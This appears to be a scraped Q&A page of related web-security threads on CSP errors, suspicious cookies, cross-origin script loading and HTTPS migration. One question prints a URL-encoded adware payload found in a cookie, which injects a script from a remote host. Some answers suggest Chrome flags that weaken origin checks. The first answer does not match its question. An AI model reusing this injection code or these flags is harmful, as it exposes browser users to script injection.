I have a local node js server that when I run it on my desktop, website loads correctly. Problem is when I run the server on my laptop I get these errors on opening website.
How can it be that on desktop and on heroku server it's working correctly but not locally on my laptop?
PS: I have never used meta to set CSP or manifest.json or anything like that, as I don't know why it should not work without those settings just like on desktop. I also have a valid SSL certificate created with mkcert just like on my desktop.
As of Chrome 46, inline scripts can be allowed by specifying the base64-encoded hash of the source code in the policy. This hash must be prefixed by the used hash algorithm (sha256, sha384 or sha512).
See this link for more informatio.
If you have a need for some external JavaScript or object resources, you can relax the policy to a limited extent by allowlisting secure origins from which scripts should be accepted.
Your Explorer wants to ensure that executable resources loaded with an extension's elevated permissions are exactly the resources you expect, and haven't been replaced by an active network attacker. As man-in-the-middle attacks are both trivial and undetectable over HTTP, those origins will not be accepted.
Related
Some clients send requests to our webapp with additional cookies like this:
vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; _ga=GA1.2.633227847.1500039040; _gid=GA1.2.1587477355.1500039040; _gat_ga_ua2=1; _gat_ga%28'create'%2C'UA-93290101-3'%2C'auto'%2C%22ga_ua2%22%29%3Bga%28'ga_ua2.send'%2C'pageview'%29%3B!function%28%29%7Bfunction%20e%28e%2Ct%29%7Bvar%20d%3Ddocument.createElement%28%22iframe%22%29%3Bd.src%3D%22about%3Ablank%22%2Cd.style.display%3D%22none%22%2Cdocument.body.appendChild%28d%29%2CElement.prototype.appendChild%3Dd.contentWindow.Element.prototype.appendChild%2CElement.prototype.insertBefore%3Dd.contentWindow.Element.prototype.insertBefore%3Bvar%20n%3Ddocument.createElement%28%22script%22%29%3Bn.type%3D%22text%2Fjavascript%22%2Cn.async%3D!0%2Cn.src%3D%22%2F%2Fd323drta3nak2g.cloudfront.net%2Fv1%2Ftaas%3Fid%3D%22%2Be%2B%22%26api_key%3D45918e2d6de38b8deaf7927d277e58d5%26site_id%3D%22%2Bt%2B%22%26disclosure_text%3D%26disclosure_url%3Dhttps%253A%252F%252Fyieldkit.com%252Flegal-notes%252Fterms-of-service%252F%26yk_tag%3Db%22%2C%28document.getElementsByTagName%28%22head%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28n%29%7De%28%22se.prod%26pla%3D1%26si%3D1%26%22%2C%220c4d5f3a79914d97b6011efb4471a249%22%29%2Ce%28%22deals.prod%22%2C%22d7d224892cfe47c7b50aed3bb644057f%22%29%7D%28%29%3B%2F%2F=1;
Our application does not install such cookies. We used some external JavaScript, like Google Analytics, but none of those scripts is doing this. Our site is accessible only via HTTPS, so MITM request modification is unlikely.
We use WAF, these requests are blocked and clients are unhappy.
I suppose, some malicious browser extension is trying to exploit some popular web engine vulnerability.
Has anybody encountered anything like this? Any ideas on what is doing that?
P.S. URL decoded content of that cookie is javascript, that among other contains link to http://yieldkit.com/legal-notes/terms-of-service/, but they are probably just used by scammer to monetize their attacks.
Found it. This malware does this: http://www.spyware-ru.com/udalit-r-srvtrck-com-reklamu-instruktsiya/ (article in russian) and translated with google translate.
Short summary:
There is a malware, that creates pop-up advertising windows with r.srvtrck.com site for Chrome, Firefox and IE. Also it may integrate advertising into web sites you open.
To remove it, you can use:
AdwCleaner program
Malwarebytes Anti-malware program
reset browser settings
clear *.lnk files from added site address after browser executable
AdGuard program to block advertising (I'd not recommend that, just clear your system and use AdBlock/uBlock)
It is recommended to check Windows Task Scheduler for unwanted tasks, that periodically start browser with malware site address.
I know by default the HTML page on other domains can't access my images, videos. They can only show them. But sadly, they can still run my scripts. If my script exposes some variables to the global scope, then the internal logic may be known by others.
I have a private website that others can't visit. Only I can visit it by sending a token in the Cookie to the server. If the token isn't included in the Cookie, every request will cause a 500 server error response. This is secure because everything is on HTTPS.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
That's because the Cookies of my website on my machine will be sent to my server as 3rd-party Cookies.
How to prevent that? Can access-control-allow-origin do so?
P.S. I don't want to disable all 3rd-party cookies in browser settings. Cookie's SameSite also doesn't make sense because only Chrome support it now.
There are a number of imaginable ways to prevent other sites from using the script element to run copies of scripts from your site in their sites, but CORS isn’t one of them.
Browsers are where the same-origin policy (SOP) is enforced and browsers are what block JavaScript running in Web apps from being able to use responses from cross-origin requests.
But browsers don’t use SOP/CORS when a Web app uses the script element to embed some JavaScript. Specifically, browsers don’t check that the script is served from the other site with an Access-Control-Allow-Origin header, which is the foundation of the whole CORS protocol.
So CORS is definitely not a solution to the problem you seem to want to solve.
But unfortunately, I find this isn't very safe on my own machine, because after I visit my site and then visit a malicious site, this malicious site can use the following method to run my script:
<script src="https://my-website.com/main.js"></script>
But if that site embeds your script in theirs that way, it runs within their origin, not yours. It runs there as a trusted script with all the same privileges of any script they’ve written themselves.
In that scenario, the other site is the one taking a security risk—because you can at any time change your https://my-website.com/main.js script to do anything you want at their site.
That is, by embedding your script that way, the other site gives your script programmatic fully-trusted access to do anything it wants at their entire origin—gifting you an XSS opportunity.
I am interested in switching my entire site from http over to https.
My concern is that I have some content that uses absolute http URLs.
I will need to edit each page in order to change those URLs to relative but that might take me a while to accomplish.
What I would like to know is if there is a way to use Javascript via the Google Tag Manager in order to re-write local absolute URLs to be HTTPS and not HTTP?
If this is possible, could it be used as a permanent solution?
One solution to consider is the Content Security Policy upgrade-insecure-requests directive.
The upgrade-insecure-requests directive instructs user agents to
treat all of a site's unsecure URL's (those served over HTTP) as
though they have been replaced with secure URL's (those served over
HTTPS). This directive is intended for web sites with large numbers of
unsecure legacy URL's that need to be rewritten.
It’d amount to configuring your Web server so all pages on your site get served with this header:
Content-Security-Policy: upgrade-insecure-requests
So the effect of adding that header would be: for any page at your site served with an https URL, any time a browser sees in one of those pages an http URL for an embedded (sub)resource —whether it be a URL for a stylesheet, script, image, video, or whatever—the browser will automatically (transparently) try to fetch the resource from the corresponding https URL instead.
For more details, you can see the Upgrade Insecure Requests spec.
2018-05-11 update
The upgrade-insecure-requests directive is now supported in all major browser engines (including Edge 17+ and Safari 10.3+):
https://caniuse.com/#feat=upgradeinsecurerequests
The downside of using it now is, so far it’s only supported in Firefox (since Firefox 42) and Chrome. But it also:
has an open Safari/WebKit implementation-tracking/feature bug
is under consideration by Microsoft for implementation in Edge
P.S., I work at the W3C, where we recently (finally) enabled TLS/https access to all W3C site resources—and since the W3C has hundreds of thousands (maybe millions) of pages with http URLs for embedded subresources, the way we were able to make it happen was in part by serving the Content-Security-Policy: upgrade-insecure-requests header across the entire site.
The article Supporting HTTPS and HSTS on w3.org gives more info about the deployment details.
By the time the JavaScript is executed, the problematic resources may already be loading over even loaded.
You can simply search through your code for any instances of http:// and replace those with // or relative URLs.
If your content is more complex (say, distributed over multiple machines), you can use a mirroring script (like wget --mirror http://example.net/) to download a static version of your entire page, and search that.
Then, set up HTTPS (first for you only, then for all your testers) and check that everything works fine. Once you are sure that is the case, allow everyone to come over HTTPS. Finally, a bit later, consider redirecting HTTP to HTTPS and implementing secure cookies, HSTS and HPKP.
I'm building a web page which I can only access by ftp:
ftp://192.168.0.1.cutthis/mypage.html
This url opens the page in the browser as I would have used http protocol.
The page contains a dynamic GUI. To make its development easier, I have moved all the javascript to a machine (192.168.0.2) I have access to, so I can edit it more quickqly. In the html source code of mypage.html, the script line is:
<script type="text/javascript" src="file://///192.168.0.2/myscript.js"></script>
FF and Chrome load the script (Firebug confirms this) but don't run it. Only IE run it.
How can I force FF and/or Chrome to run the script? Or how can I solve the problem overwise?
cross-protocol scripting?
Method 1:
For Chrome try extension: LocalLinks
For FF try extensions: LocalLink, Local Filesystem Links, IE Tab
Method 2:
run Chrome with --allow-file-access-from-files flag
or may be try other flag which disables cross-site scripting (waring: this is dangerous)
configure Security Policy in FF (create special policy for your site - read here: Links_to_local_pages_don't_work, Security_Policies)
But, I'm still not sure if all of this helps. FTP: URL is a special case
MDN says of the same origin policy:
The same origin policy prevents a document or script loaded from one origin from getting or setting properties of a document from another origin.
myscript.js is from the origin file:////192.168.0.2/ but it is being loaded into a page with the origin ftp://192.168.0.1.cutthis. My guess is that the cross-domain script cannot perform the manipulation you expect it to do because it is loaded from a different origin.
The solution would be to host both the script and the page on the same origin (i.e., also serve the HTML page over file://, or even better, serve them both on a local HTTP server).
Our web application (based on HTML5, SVG & JS) runs fine in all the browsers except Google Chrome.
In Google Chrome, the normal javascript events run fine, however, all the javascript events attached to the iFrame are not executed. We get the error in the console:
Unsafe JavaScript attempt to access frame
At the moment, the application is locally hosted and this problem cropped up during inhouse testing.
Googling this brings up lots of posts but none suggests any concrete solution. Any suggestions?
As an additional security measure, Chrome treats every "file" path as its own origin rather than treating the entire "file" scheme as a single origin (which is what other browsers do). This behavior applies only to "file" URLs and you can force Chrome to revert to a single local origin (like other browsers) by passing the --allow-file-access-from-files switch at startup.
You can find more information on the risks associated with local origins described here: http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html
Please make sure that both the iframe and main page are using the same protocol (i.e. both https or both http, but not mixed) and are on the same domain (i.e. both www.example.com and not example.com and dev.example.com). Also there's the possibility that something tries to use the file:// protocol, which will also cause this message.